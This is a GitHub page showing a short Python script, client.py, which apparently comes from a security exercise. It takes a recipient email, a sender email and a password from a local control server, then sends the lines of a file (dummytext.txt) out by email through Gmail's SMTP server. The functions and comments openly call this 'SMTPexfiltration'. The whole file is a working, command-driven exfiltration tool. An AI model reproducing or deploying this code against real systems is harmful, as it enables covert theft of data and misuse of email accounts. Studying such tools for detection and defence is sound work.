-
Notifications
You must be signed in to change notification settings - Fork 0
/
client.py
60 lines (43 loc) · 1.62 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
import socket
import smtplib, ssl
SSLport = 465
message = ""
smtp_server = "smtp.gmail.com"
HOST = '127.0.0.1'
PORT = 12001
ACK = 'acknowledged'
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
#receive the details from the server and assign it to the variable message
message = receiveText(sock)
#split the string into an array called details
details = message.split()
#send parts of the array to the exfiltration function, first element is the recipient email, 2nd is the sender email, and 3rd is the sender email password
SMTPexfiltration(details[0], details[1], details[2])
def SMTPexfiltration(receiver_email, sender_email, password):
file = open("dummytext.txt","r")
with open("dummytext.txt") as f:
for line in f:
exfiltrationMessage = message + line
context = ssl.create_default_context()
with smtplib.SMTP_SSL(smtp_server, SSLport, context = context) as server:
server.login(sender_email, password)
server.sendmail(sender_email, receiver_email, exfiltrationMessage)
print("data exfiltration")
def receiveText(sock):
#Get exfiltration details from server
encodedMessage = sock.recv(1024)
#Print an error message if it was not successful
if not encodedMessage:
print('error: encodedMessage was received as None')
return None
#Decode the exfiltration details
message = encodedMessage.decode('utf-8')
#encode ACK
encodedAckText = bytes(ACK, 'utf-8')
#Send ACK
sock.sendall(encodedAckText)
return message
main()